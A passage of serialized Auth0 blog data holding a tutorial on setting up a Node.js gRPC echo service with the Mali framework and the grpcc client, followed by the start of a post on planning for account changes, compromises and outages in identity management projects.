empowering."}}],"path":"creating-a-node-grpc-service-using-mali","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/1hbJikvBOrzWM1JEDEs2PF/313f1ca44465ee70fd69e088f429163f/grpc-logo","size":{"width":1176,"height":1056}},"description":"Learn about the engineering principles, technology, and goals behind the gRPC system by setting up a service.","category":["Engineering","Best Practices","gRPC"],"tags":["grpc","http","http2","api","proto","protocol-buffer","engineering","server","node","javascript"],"postContent":"\n\nAt Auth0 we’re responsible for responding to a large volume of queries within a relatively small period of time. For each API call that’s made we must perform a variety of tasks: authentication, rate limiting, data access, payload validation, and external API calls to name a few.\n\nHitting target response metrics while performing all of these calls requires a fair amount of thought with regard to service design. As part of a recent feature introduction, we added a new call into our authentication flow. Given the criticality of this flow, we needed to assure that the new functionality had minimal impact on response times and success rates.\n\nDuring discovery, we analyzed what technologies would be the most effective in transforming and persisting our data, performing application logic, and what would be the most effective transport for the service.\n\nWhen starting off with an API, it’s easy to go with defaults: HTTP/1.x and JSON, and these are entirely reasonable selections. HTTP is a well supported, tooled and observable protocol, and JSON is presently the de-facto standard for transferring payloads between services on the internet.\n\nDuring the initial research of our new project, we looked into different technologies to see which fit our needs best. One of the technologies we looked into was gRPC, because of promising results we'd heard from our peers on how gRPC could provide the performance that we required for our use case.\n\nIn this post, we are going to take a quick look on how to get a gRPC service up and running using the Mali framework while explaining some of the engineering principles, technology, and goals behind the gRPC system. Let's get started.\n\n## What Is GRPC?\n\ngRPC is a framework originally created by Google for internal use but has since been open sourced. It leverages an [HTTP/2](https://en.wikipedia.org/wiki/HTTP/2) transport, and [Protocol Buffers](https://en.wikipedia.org/wiki/Protocol_Buffers) as its service definition language (these are defaults, and can be changed).\n\nOne of the key characteristics of gRPC is that it supports a compressed, full duplex stream over HTTP2. [As denoted by Google](https://developers.google.com/web/fundamentals/performance/http2/#design_and_technical_goals), HTTP2 was designed to enable a more efficient use of network resources and reduce latency by introducing [header field compression](https://tools.ietf.org/html/rfc7541) and allowing [multiple concurrent exchanges](https://http2.github.io/http2-spec/#StreamsLayer) on the same connection. Once a client is connected to a server, either side is free to send and receive messages at will. This always-connected, full-duplex connection is ideal for our service, as it allows the calling service to utilize a pre-established stream to call into the downstream service without delay.\n\n![HTTP 2.0 Connection Multiplexing](https://images.ctfassets.net/23aumh6u8s0i/4QxiRaUQGtCOGXquBQPhVl/cc58667b747dce4ba62741b61d86ab80/multiplexing01)\n\n[Source: Google](https://developers.google.com/web/fundamentals/performance/http2/#request_and_response_multiplexing)\n\n\u003e Read [_What is HTTP/2 All About?_](https://auth0.com/blog/what-is-http2-all-about/) for more details on HTTP2.\n\nServices are defined in a definition language called Protocol Buffers. [Google defines Protocol Buffers](https://developers.google.com/protocol-buffers/) as \"language-neutral, platform-neutral, extensible mechanism for serializing structured data\". They are positioned as a smaller, faster, and simpler version of XML. Protocol Buffers allows for strongly typed services (endpoints), messages (payloads) and fields (properties). These definitions enable messages to be marshaled in binary format over an existing connection very effectively and allow the consumer of the message to reduce the guesswork when unmarshalling them.\n\nIn contrast, HTTP is more oriented for request/response pairs. What is more significant than HTTP is the overhead of JSON. When comparing a well-structured message to a message whose format is undefined there are significant performance improvements.\n\n## Why Should You Use It?\n\nIt’s important to call out that we’re not suggesting gRPC in all of your services or even any of them. However, when performance is absolutely critical, and you have the ability to influence the service implementation, consumption, and infrastructure then gRPC is something you may want to look into.\n\n## Setting Up a GRPC App Using Node\n\nFirst, we’re going to get our project configured:\n\n```bash\nmkdir grpc-demo\ncd $_ \u0026\u0026 npm init -y\nnpm i \"grpc\"@\"^1.15.1\" \"mali\"@\"^0.9.1\" \"@grpc/proto-loader\"@\"~0.3.0\"\n# Initialize project\n```\n\nThis command creates a directory for our project, initializes NPM, and installs the packages that we’ll be using:\n\n- [grpc](https://www.npmjs.com/package/grpc): Node.js gRPC library.\n- [mali](https://www.npmjs.com/package/mali): A minimalistic gRPC microservice framework.\n- [@grpc/proto-loader](https://www.npmjs.com/package/@grpc/proto-loader): A utility package for loading `.proto` files for use with gRPC, using the latest [Protobuf.js package](https://github.com/dcodeIO/ProtoBuf.js/).\n\nTo facilitate the implementation of gRPC service, we are going to use the [Mali gRPC microservice framework](https://mali.js.org/) as it offers the following benefits:\n\n- It is designed to use modern JavaScript asynchronous constructors such as Promises and `async`/`await`.\n- It supports header, trailer, status, and error metadata.\n- The minimal core of Mali can be extended to add features by composing and cascading middleware.\n- Just a few lines of code give you a fully operational server.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Learn how to set up a gRPC server in Node using the Mali framework.\"/\u003e\n\n### Service Definition\n\nOur server will consume a `.proto` file which contains our service definition, so we'll add a file at the path of `protos/hello.proto`:\n\n```bash\nmkdir protos\ntouch protos/hello.proto\n```\n\nPopulate the `hello.proto` file with this content:\n\n```proto\nsyntax = \"proto3\";\n\nservice Hello {\n rpc Echo (EchoRequest) returns (EchoResponse) {};\n}\n\nmessage EchoRequest {\n string message = 1;\n}\n\nmessage EchoResponse {\n string message = 1;\n int32 timestamp = 2;\n}\n```\n\nLet's understand what's happening in this `.proto` file. As stated above, gRPC uses Protocol Buffers for its service definition language. `hello.proto` is a Protocol Buffer file, which contains our service definition, along with the messages that our service will be using.\n\nLet's break down what's happening in this file.\n\n```proto\nsyntax = \"proto3\";\n```\n\nThis line defines the syntax that the file is using. There are multiple versions of [Protocol Buffer syntax](https://developers.google.com/protocol-buffers/docs/proto3). This syntax uses the latest version available at the time of writing.\n\n```proto\nservice Hello {\n rpc Echo (EchoRequest) returns (EchoResponse) {};\n}\n```\n\nThis section defines a `service`, which is what gRPC will use to expose a set of RPC endpoints. RPC stands for [remote procedure call](https://en.wikipedia.org/wiki/Remote_procedure_call) and it denotes the event when a computer program causes a procedure to execute in a different address space. An RPC endpoint, then, is a location or path where the RPC can be called at.\n\nThis example only exposes the `Echo` RPC, which accepts a response message of `EchoRequest`, and returns a request message of `EchoResponse`. In gRPC parlance a call that is a single request and response is referred to as `Unary`. There are other operations that allow server streaming, client streaming, or full duplex streaming too.\n\n```proto\n message EchoRequest {\n string message = 1;\n }\n\n message EchoResponse {\n string message = 1;\n int32 timestamp = 2;\n }\n```\n\n`EchoRequest` is a message containing only one field, `message`. `message` is a string (other types will be rejected by the server and client),\nand it has a field number of `1`. Field numbers are used to indicate the unique index of a field within a message. These are used by the server and client to serialize and deserialize the message from the binary format.\n\n`EchoResponse` is a message too, but has two fields `message` and `timestamp`. You may notice that it has the same field number, `1` as we used in the `EchoRequest`. Field numbers are unique to a message, so this is not a problem for us. We also add the new field `timestamp`. We will use this field\nfor returning the timestamp that the message was received at.\n\nWith our service in place, we are now ready to implement our server.\n\n### Server Implementation\n\nInside of our new directory, we'll create a file called `server.js`, and wire up a very simple gRPC service.\n\n```js\n// server.js\n\nconst path = require(\"path\");\nconst Mali = require(\"mali\");\n\n// Defines the path to a proto file that will hold the service definition\nconst PROTO_PATH = path.resolve(__dirname, \"./protos/hello.proto\");\n\n/**\n * Handler for the Echo RPC.\n * @param {object} ctx The request context provided by Mali.\n * @returns {Promise\u003cvoid\u003e}\n */\nconst echo = async ctx =\u003e {\n // Log that we received the request\n console.log(\"Received request.\");\n\n // Set the response on the context\n ctx.res = {\n // Define the message, and time\n message: ctx.request.req.message,\n timestamp: Date.now()\n };\n};\n\n/**\n * Define the main entry point for the application.\n * From here, we stand up the server and do some light logging.\n */\nconst main = () =\u003e {\n /**\n * Create a new instance of the Mali server.\n * We pass in the path to our Protocol Buffer definition,\n * and provide a friendly name for the service.\n * @type {Mali}\n */\n const app = new Mali(PROTO_PATH, \"Hello\", {\n // These are gRPC native options that Mali passes down\n // to the underlying gRPC loader.\n defaults: true\n });\n\n // Create a listener for the Echo RPC using the echo function\n // as the handler.\n app.use({ echo });\n\n // Start listening on localhost\n app.start(\"127.0.0.1:50051\");\n\n // Log out that we're listening and ready for connections\n console.log(\"Listening...\");\n};\n\n// Start the service and listen for connections\nmain();\n```\n\nThis file is a very simple gRPC server that is implemented by using the Mali framework. Mali provides a way to implement gRPC services in a very simple way, in a design that's similar to how [Koa handles HTTP services](https://koajs.com/).\n\nAfter our `require`'s, we define the path where our `proto` file resides at.\n\n```js\n// server.js\n\nconst path = require(\"path\");\nconst Mali = require(\"mali\");\n\n// Defines the path to a proto file that will hold the service definition\nconst PROTO_PATH = path.resolve(__dirname, \"./protos/hello.proto\");\n```\n\nNext, we create a function called `echo`. This is an async function that provides a `ctx` argument. `ctx` contains a `request` property. To read from the request, we use `ctx.request.req.\u003cfield name\u003e`.\n\n```javascript\n// require's...\n// PROTO_PATH ...\n\nconst echo = async ctx =\u003e {\n // Log that we received the request\n console.log(\"Received request.\");\n\n // Set the response on the context\n ctx.res = {\n // Define the message, and time\n message: ctx.request.req.message,\n timestamp: Date.now()\n };\n};\n```\n\nIn our implementation of `echo`, we're taking the provided input of `ctx.request.req.message`, and setting it as `ctx.res.message`, effectively echoing the input. We're also returning the current time to the caller via `timestamp` by calling `Date.now()`.\n\nThere's no need to return from the `echo` function; setting `ctx.res` with the fields you desire is all that's needed for the response to be delivered to the caller.\n\nWe use the `main` function as the entry point for our server. It's fairly simple, we create a new instance of `Mali` [dynamically](https://mali.js.org/guide/getting_started.html#dynamic), provide the path to our service definition, the name of our service, and some other configuration that's passed to the underlying Node library.\n\n```javascript\n// require's...\n// PROTO_PATH ...\n// echo function definition\n\nconst main = () =\u003e {\n const app = new Mali(PROTO_PATH, \"Hello\", {\n defaults: true\n });\n};\n```\n\n\u003e All options for the loader are defined within the [gRPC Protobuf Loader document](https://github.com/grpc/grpc-node/tree/master/packages/proto-loader).\n\nWe then tell Mali to use the `echo` function we defined earlier. The [Mali `use()` method](https://mali.js.org/api/#mali-%E2%87%90-emitter) defines middleware and handlers. This method maps the name of functions that serve as handlers to RPC endpoints.\n\n```javascript\n// require's...\n// PROTO_PATH ...\n// echo function definition\n\nconst main = () =\u003e {\n // app...\n\n app.use({ echo });\n};\n```\n\nUsing [JavaScript object shorthand](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#New_notations_in_ECMAScript_2015), `app.use({ echo });`, we tell Mali to map our `echo()` function with an `echo` property that is stored within a handler dictionary. When our server receives a request for the `echo` path, Mali will use this dictionary to resolve the handler of that path and trigger the correct RPC endpoint.\n\n\u003e In contrast to the REST architecture style, within the gRPC architecture style, there is no concept of \"endpoint methods\" such as `GET` or `POST`. Instead, we'd use descriptive RPC names such as `getUser`, `createUser`, or `updateUser`.\n\nAs a last step within the `main` function, we listen locally on port `50051`.\n\n```javascript\n// require's...\n// PROTO_PATH ...\n// echo function definition\n\nconst main = () =\u003e {\n // app...\n // handler mapping ...\n\n app.start(\"127.0.0.1:50051\");\n\n console.log(\"Listening...\");\n};\n```\n\nFinally, we need to call our `main()` function to kickstart the app:\n\n```javascript\n// require's...\n// PROTO_PATH ...\n// echo function definition\n// main\n\nmain();\n```\n\nTo run the server, we don't need to create an NPM script within `package.json`. Instead, we are going to define `main` as our `server.js` file. Open `package.json` and update it as follows:\n\n```json\n{\n \"name\": \"grpc-demo\",\n \"version\": \"1.0.0\",\n \"description\": \"\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"dependencies\": {\n \"@grpc/proto-loader\": \"^0.3.0\",\n \"grpc\": \"^1.17.0\",\n \"mali\": \"^0.9.2\"\n }\n}\n```\n\nThat's it. We're now able to start listening for service requests. Let's learn next how to run the server and make API calls.\n\n## Calling the API\n\nAt this point, we have enough to begin calling our `Echo` RPC endpoint.\n\nTo do this easily, we'll use [`grpcc`](https://github.com/njpatel/grpcc), a flexible command-line client for any gRPC server designed to test APIs quickly without much setup. `grpcc` can be installed locally in your project, globally in your system, or be run without installation by using `npx`.\n\n### Installing `grpcc`\n\n`grpcc` can be installed in different ways.\n\n#### Global Installation\n\nTo install the client globally, run the command:\n\n```bash\nnpm i -g grpcc\n# Global installation\n```\n\n#### Local Installation\n\nRun the following command:\n\n```bash\nnpm i -D grpcc\n# Local installation\n```\n\n\u003e `i` is the short form of the `install` command. `-D` is the short form of the `--save-dev` flag that saves the packages as `devDependencies`.\n\nWith a local installation, you'd need to create an NPM script within `package.json` that allows you to run the local package. More on what this script looks like in the next section.\n\n#### NPX\n\nAs an alternative, we can use `npx` to run the `grpcc` command. `npx` is an NPM package runner that ships with `npm` `v5.2` and above. It executes a command either from a local `node_modules/.bin` or from a central cache. Thus, without having to install the package locally or globally, `npx grpcc` pulls the latest version of `grpcc` from the NPM cloud registry and runs it. It's a great tool to test and run one-off commands.\n\n\u003e Learn more about [everything you can do with `npx`](https://www.npmjs.com/package/npx).\n\n### Running the Server\n\nTo run the server, open a terminal window and, from the project directory, execute the following command:\n\n```bash\nnpm start\n```\n\nNode will automatically run `server.js` for us. The terminal should now show `Listening...` as the output.\n\n### Calling the Service RPC Endpoint\n\nFollow one of the following steps depending on your chosen `grpcc` installation method.\n\n#### Global Installation\n\nIn another terminal, again from the project directory, run the following command:\n\n```bash\ngrpcc -i -p protos/hello.proto -a 127.0.0.1:50051\n# Running grpcc using the global install\n```\n\n#### Local Installation\n\nOpen `package.json` and create the following `call` NPM script:\n\n```json\n{\n \"name\": \"grpc-demo\",\n \"version\": \"1.0.0\",\n \"description\": \"\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\",\n \"call\": \"grpcc -i -p protos/hello.proto -a 127.0.0.1:50051\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"dependencies\": {\n \"@grpc/proto-loader\": \"^0.3.0\",\n \"grpc\": \"^1.17.0\",\n \"mali\": \"^0.9.2\"\n },\n \"devDependencies\": {\n \"grpcc\": \"^1.1.3\"\n }\n}\n```\n\nIn another terminal, again from the project directory, run the following command:\n\n```bash\nnpm run call\n# Running grpcc using the local install\n```\n\n#### `npx` Installation\n\nIn another terminal, again from the project directory, run the following command:\n\n```bash\nnpx grpcc -i -p protos/hello.proto -a 127.0.0.1:50051\n# Use npx to pull grpcc from the NPM cloud\n```\n\n### Using the `grpcc` Client\n\nLet's breakdown the flags that are being used with the `grpcc` command:\n\n- `-i` stands up an insecure client (we need this because our service is listening insecurely).\n- `-p` is the path to the proto definition.\n- `-a` specifies the address to the host and port that the service is listening on.\n\nRunning `grpcc` will open a Node REPL environment uses Node's `repl` module. Feel free to use any of the in-built features such as save/restore history. We are going to execute commands within this environment to run a client that calls our gRPC service.\n\n\u003e The REPL will give you `Hello@127.0.0.1:50051\u003e` as the CLI prompt.\n\nWithin the REPL environment, run the following statement:\n\n```bash\nclient.echo({message:\"Hello\"}, printReply)\n```\n\nThe statement we provide to `grpcc` takes advantage of a few variables within the test client. `client` is an instantiated client of the service we provided earlier. In this case, `client` represents the `Hello` service. We use `client`, and call the `echo` function, which is converted to an RPC, and sent to the server.\n\nThe first argument of the `echo` function is an object containing the named fields of `EchoRequest`. As you can see, we provide `message`, which is the only field in `EchoRequest`. The final argument is `printReply`, which is a callback variable provided by `grpcc`. This prints the reply of the RPC to the terminal so that we can observe the output.\n\nIf everything worked correctly, you should see this output from `grpcc`:\n\n```json\n{\n \"message\": \"Hello\",\n \"timestamp\": \"1546892703355\"\n}\n```\n\nHere, we see the response provided by our server. Just like we expected, we can see the two fields that we defined within `EchoResponse`: `message`, and `timestamp`. The `timestamp` field returns the current time, and the `message` field contains the message that we provided within our request.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"grpcc is a handy package that lets you easily test gRPC endpoints. Learn how to use it here.\"/\u003e\n\n## Conclusion\n\nAt Auth0, one of our core values is learning. We often refer to this value as `N + 1 \u003e N` to denote the benefits of constantly building ourselves. Within our engineering organization, we foster an environment that promotes learning, experimentation, and innovation. We are constantly trying out new technologies, improving our engineering design and processes, and challenging our product \u0026mdash; all without fear of failing as we learn from our mistakes.\n\nAs such, we'll continue experimenting with technologies such as gRPC, to find out the best tool for the job. Right now, we are in need of responding to a massive volume of queries in a short time. We'll be using benchmarks to measure tool performance and analyzing the cost of migration of any tool that requires to shift from our existing architecture. That's another part of our values: we run data-driven experiments to gain insights and make informed decisions.\n\nWe'll see if our innovation projects lead us to integrate gRPC as part of our architecture. Stay tuned for more engineering insights from our team and future updates through this blog.\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2019-01-16T07:44","readTime":16,"formattedDate":"Jan 16, 2019"},{"title":"How To Have a Successful IDM Project (Part 2)","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"5X1TFtn6dh8w7Awv1i4cFe","type":"Entry","createdAt":"2021-03-22T08:22:05.422Z","updatedAt":"2021-03-22T08:44:10.954Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"yvonne-wilson","name":"Yvonne Wilson","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"72TGUR0waTmgxslAXLYzBw","type":"Asset","createdAt":"2021-03-22T08:44:09.729Z","updatedAt":"2021-03-22T08:44:09.729Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"ec1c9350c3d2306e7c42b9307bea93de?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn","description":"ec1c9350c3d2306e7c42b9307bea93de?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/72TGUR0waTmgxslAXLYzBw/3cc71ca89c60959ba47b3a31c59383c7/ec1c9350c3d2306e7c42b9307bea93de_s_480_r_pg_d_https_3A_2F_2Fcdn","details":{"size":38493,"image":{"width":480,"height":480}},"fileName":"ec1c9350c3d2306e7c42b9307bea93de?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn","contentType":"image/jpeg"}}},"lastUpdatedBy":"Unknown during the migration","email":"yvonne.wilson@auth0.com","twitter":"https://twitter.com/ywilsonauth0","github":null,"linkedin":null,"isPopular":null,"personalWebsite":null,"type":"Former Auth0 Employee","jobTitle":"Strategic Operations and Technical Field Enablement Director","description":"I like working at Auth0 because I’m interested in how to scale a startup and training the next generation of identity experts."}}],"path":"how-to-have-a-successful-idm-project-part-2","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/7l4zyYHeol3V87KnNfwDaj/fc572b0638dbbc8fcd9c4230ec2ea436/idm-project-02b","size":{"width":1764,"height":1584}},"description":"Learn how to plan for failures and changes in your identity project.","category":["Engineering","Best Practices","IDM"],"tags":["idm","project","identity","identity-management","anomaly","security","identity-flux","digital-inheritance","compromise","breach","mfa","secrets","user-data","outages","gdpr","planning","compliance","collaboration"],"postContent":"\n\nIn the field of software testing, there is a concept known as the Happy Path. Happy Path testing means testing one or more software components for a use case which results in an expected outcome and does not encounter any error conditions. In other words, the Happy Path is when everything goes according to plan. Unfortunately, **life doesn’t always go according to plan**.\n\nIn Part 1 of this series, we learned [how to create a realistic project plan to have a good Identity Management project deployment](https://auth0.com/blog/how-to-have-a-successful-idm-project/). Now, in part 2, we will cover some things that can change over time or go wrong with the identity aspects of a project. Our goal is to raise awareness of common issues so you can establish a plan for them in advance. Some of them are _fairly likely_ to occur. Others are less likely to occur, but if you don’t have a plan for how to respond, and something happens, you will be very, very sorry!\n\nPreparing in advance for changes and problems helps you handle them quickly and appropriately. Failure to have contingency plans can result in chaos during a crisis if people don’t know what to do. Additionally, testing these plans ensures that response during an actual crisis is quick and effective. You’ll want a well-coordinated response for any identity-related issues that arise. You can easily achieve that by defining processes ahead of time for each of the following scenarios and training staff on how to handle each scenario. Proper planning will ensure you deliver good customer experience while minimizing risk and liability.\n\n![Illustration of how to have a succesful Identity Management Project Part 2](https://images.ctfassets.net/23aumh6u8s0i/6c6kR33lBH9m2KG9d5ly4E/9ae70f88e20a0a1bac4f5b8d3ab18666/idm-project-part2-dismantle-02)\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Learn how planning for identity-related issues in projects is essential to ensure good customer experience while minimizing risk and liability during a system crisis.\"/\u003e\n\n## Plan to Accommodate User Changes\n\n### User Profile Updates and Deleted Accounts\n\nThe most common change that you’ll need to handle is simply allowing users to update their user profile. You should make sure you’ve provided a means for the user to update their profile, including their name, email address, and phone number. When a change is made, if the attribute involved is the primary identifier for an account, you should reserve the old name from future use when allowing the user to change that identifier. You should also reserve the account identifier for any accounts which have been deleted. In general, you should reserve any account names used in the past so they cannot be used by new owners in the future.\n\nAllowing a new account to reuse the name of a previously renamed or deleted account might enable someone to create a new account in the name of an account owned by someone else in the past. The new owner could then request a restore from a time when the original account existed. This would enable unauthorized access by the new owner to the data from the original account. If you establish a policy of reserving the identifiers associated with renamed or deleted accounts, you eliminate the possibility of this happening. The important thing is to understand the risk and have policies and procedures in place to prevent the exposure of data from previously renamed or deleted accounts to new, unauthorized owners.\n\n### Orphaned Accounts\n\nIn a related scenario, you should establish a process for orphaned accounts. This scenario occurs when an account administrator has left the organization owning an account, but no one still associated with the organization has access to the account. In this case, a representative from the account organization files a helpdesk request asking for access. You need a process to vet such requests to ensure they come from people genuinely associated with the organization and not from an imposter.\n\nYou may need to get creative about how you validate ownership. You may be able to validate the requestor using some secret about the account, that only a legitimate owner would know. If the account has a domain associated with it, you can visit the website at that domain and see if the requestor is listed on the site. You can check for a “contact us” or support link for the organization and ask for help to validate that the request is legitimate through an independent channel. You should make sure your support team is prepared with standard validation mechanisms for this scenario. If the prescribed mechanisms are not possible for a particular scenario, ensure that they consult with a member of your security team to devise adequate validation before granting access to an orphaned account. It’s also a good idea to avoid the problem in the first place by advising customers to have at least one backup administrator registered.\n\n### Identities in Flux\n\nAnother scenario to consider is identities or accounts that will change from one type to another. Examples are worker identities that switch from temporary contractor to permanent employee or vice-versa. Another example might be a customer that changes their subscription from one level, perhaps paid by a credit card, to another, higher level, paid by corporate invoice. You should examine whether there is a chance of issues if the change does not happen instantaneously in all systems at once. Consider how long it will take for identity changes to ripple through a set of systems and whether client applications could receive erroneous data if transactions are submitted during the propagation of changes.\n\nIn the case of workers changing status from temporary to permanent, you should consider whether the user could have two accounts at the same time. This can happen if a user’s new account is created before the old one is removed. In this case, be sure to test what will happen. By investigating in advance whether such situations can occur, you will ensure applications are prepared to handle them appropriately.\n\n### Death and Digital Inheritance\n\nIf your site handles consumer-facing accounts, you may want to establish a process for handling a situation where a user has passed away. This may include providing users the ability to designate an authorized contact in the event of death and specifying what rights or privileges the contact would have. You should also obtain legal advice so that your [digital inheritance procedures](https://www.forbes.com/sites/andrewrossow/2018/04/03/what-is-digital-inheritance-and-the-future-of-your-assets-after-death/1) are aligned with legislation for the jurisdictions applicable to your application. Having a clear policy and process in place will provide a prompt and clear customer experience to a user’s heirs at a difficult time.\n\n## Plan for the Possibility of a Compromise\n\n### Compromised Passwords\n\nUnfortunately, passwords are sometimes compromised. You can help avoid an unauthorized account take over if you regularly check your list of accounts against the various databases of compromised accounts available on the internet. If a user’s username/password combination exists in any of those databases, you should notify the user that their account uses compromised credentials and advise them to change their password. There’s no need to develop this yourself if you use Auth0 because you can opt to protect your users and their data through the additional service of [_anomaly detection_](https://auth0.com/learn/anomaly-detection/).\n\n![Auth0 Anomaly Detection](https://images.ctfassets.net/23aumh6u8s0i/BScpkuG04n0rMk2kj9s1s/5d8901f8d17cddabd600fcfb50e247d7/Auth0-Anomaly-Detection)\n\n\u003e Auth0 maintains a continuously-updated collection of breached credentials, with hundreds of millions of entries. All password-based login attempts are checked against this database, and any matches are blocked in real-time. [Auth0 offers a **free tier**](https://auth0.com/pricing) to get started with modern authentication. Check it out, or \u003ca href=\"https://auth0.com/signup\" data-amp-replace=\"CLIENT_ID\" data-amp-addparams=\"anonId=CLIENT_ID(cid-scope-cookie-fallback-name)\"\u003esign up for a free Auth0 account here\u003c/a\u003e!\n\nIf a user’s account is compromised and taken over by an imposter, the user may call your support desk asking for help reclaiming their account. You will need to establish a process to validate that the requester is the legitimate account owner, keeping in mind that the imposter who took over the account would have access to all the information in the account and may have changed addresses, phone numbers, and even security questions.\n\nThe process to validate an account takeover situation must avoid depending on anything the attacker can see in the account and therefore can be cumbersome. If there is transaction history that is not accessible to a user upon login, an account takeover victim could be asked to provide information on past transactions to corroborate their ownership claim. Another possible approach is to check for recent changes to an account profile and retrieve past values for addresses or phone numbers. Then you can ask a user to join a conference call and provide proof of ownership of former address via government-issued photo ID, followed up by notarized validation of the ID and a code sent to the former address. Alternatively, you could prove ownership of a former phone number via interaction with the device. You will want to work with your support and security teams in advance to design an appropriate process that takes into account the specifics for your application.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Learn how proper planning for an identity project helps mitigate the risk that comes from a user’s account being compromised and taken over by an imposter.\"/\u003e\n\n### Brute Force Attacks\n\nSometimes hackers try to compromise a user’s passwords through repeated login attempts with various passwords. If your system comes under a brute force attack, you can help protect users by implementing monitoring on the number of failed login attempts and notifying users if there have been a large number of failed login attempts for their account. One best practice approach is to temporarily block an account for a short period of time if there have been many failed login attempts in a row. The idea is to slow down an attacker so that the attack becomes infeasible for them while allowing the legitimate user to log in a short while later. This prevents a hacker from blocking legitimate users’ access by simply trying to log in and failing.\n\n![Brute force attack](https://images.ctfassets.net/23aumh6u8s0i/dhm4UyY6OlUhPLiIGlFh4/75f288e8b67a1c5f44ffe99583060810/brute-force-attack)\n\n### Stolen, Lost or Damaged Phone\n\nIf your application relies at all on a user’s mobile device, you will need to implement a process to assist customers whose phone has been stolen, lost or broken. Many sites with sensitive content have added [multi-factor authentication (MFA)](https://auth0.com/docs/multifactor-authentication) features to better protect user’s accounts. Some forms of [MFA rely on codes generated by or messages sent to a mobile phone](https://auth0.com/docs/multifactor-authentication#mfa-with-sms). If a user’s phone is lost, damaged, or stolen, the user will be temporarily shut out of their account. If the phone was open and in use at the time of the theft, the attacker might gain access to the user’s accounts. In all such cases, you should have a process that validates the user’s account ownership through alternate means to ensure that only the legitimate user of the account can register a new device. You should also prepare clear instructions to help the user [de-activate the old device and register a new one](https://auth0.com/docs/multifactor-authentication/administrator/reset-user).\n\n![Resetting a user's multi-factor account](https://images.ctfassets.net/23aumh6u8s0i/7l6W9QiAoaIrf8MnLqd9js/d7f1d9f1b0407c06aaed884b46803f1b/resetting-a-users-multi-factor-account-with-auth0)\n\n\u003e [Resetting a user's multi-factor account](https://auth0.com/docs/multifactor-authentication/administrator/reset-user) is easy with Auth0. The tenant administrator can reset the multi-factor authentication. The next time the user logs in, they will need to set up their MFA just like a new user.\n\n### Compromised Secrets\n\n[Identity protocols in use today](https://auth0.com/docs/protocols) often depend on secrets that contribute to their security. In the case of [SAML](https://auth0.com/docs/protocols/saml), a service provider and identity provider exchange signed and optionally encrypted messages. The digital signing and decryption of messages depend on private keys. With the [OAuth protocol](https://auth0.com/docs/protocols/oauth2), a client web application (confidential client) may use a secret which it uses to authenticate itself to an authorization server. You should have procedures in place to ensure private keys and secrets are well protected from compromise. It is also a good idea to plan in advance how to recover if any such secrets are compromised. A plan should address factors such as the following:\n\n- What risks or exposure would arise from the compromise of such secrets?\n- What must be done to shut off the immediate risk?\n- What must happen to recover from the exposure and resume secure operations?\n- What process is required to replace compromised secrets and will other parties need to be notified or involved? If so, do you have contact information and a plan?\n- What data should be collected for audit or forensic purposes?\n- Did the exposure put any user data at risk, requiring notification within a specific time frame such as the 72-hour timeframe required by GDPR?\n\n\u003e Find a list of [GDPR regulations and how Auth0 can help you comply with them](https://auth0.com/docs/compliance/gdpr/features-aiding-compliance).\n\nHaving a documented plan in place, and reviewing it periodically, will ensure a smooth, professional response to any compromise of secrets.\n\n### Compromised User Data\n\nOne of the worst scenarios to contemplate is the [theft or breach of large numbers of user passwords or user profiles](https://auth0.com/blog/what-companies-can-learn-from-the-reddit-data-breach/). You must prepare for this possibility so that if the unthinkable happens, you can act quickly to contain and assess the damage as well as take appropriate action to protect and, if required, notify your users. There is so much to do [when a data breach occurs](https://auth0.com/blog/what-is-a-data-breach/) that it is simply not feasible to wait until it happens to figure out what to do! Your plan should include:\n\n- Clear ownership for the response effort\n- Who should be involved\n- What needs to occur\n- How to prioritize response actions\n- What information to capture during the response\n- What must be done to meet requirements for notification to government agencies and users\n- Process to follow for PR and messaging about the breach\n\nTeam members should be educated on and regularly review the response plan so they are prepared to move quickly if a breach occurs.\n\n## Plan for Common Configuration Changes and Outages\n\n### Server Time Synchronization Failure\n\nFrom a configuration perspective, there are several other types of changes or failures to plan for. Not all failures require complex precautions. Preventing servers from getting out of time synchronization is actually easy. Identity protocols often rely on servers being closely synchronized in time because there are short time limits in which authentication transactions are expected to occur. If an application redirects a user to an Identity Provider for authentication and the servers are not in sync, the response from the Identity Provider might expire before the application server receives it. A simple remedy is to ensure NTP (Network Time Protocol) is running on every server. If your authentications suddenly stop working and there are errors indicating timeouts, you should check whether NTP is running on all involved servers.\n\n### Certificate Rotation\n\nAnother good check is to make sure you know where your system relies on digital certificates and track their expiration dates. This will enable you to plan for smooth certificate rotation as the expiration date approaches. If you are using the SAML protocol, a public key in a certificate is used for validating signatures on requests and responses. It may optionally be used for end-to-end encryption of messages between the client application and identity provider. SAML authentication requests will fail if the certificates in the identity infrastructure expire. You should set up reminders for approximately two months in advance of expiration so you can plan for a smooth rotation. Prior to planned rotation, you’ll want to collaboratively plan with federated sites on the process and 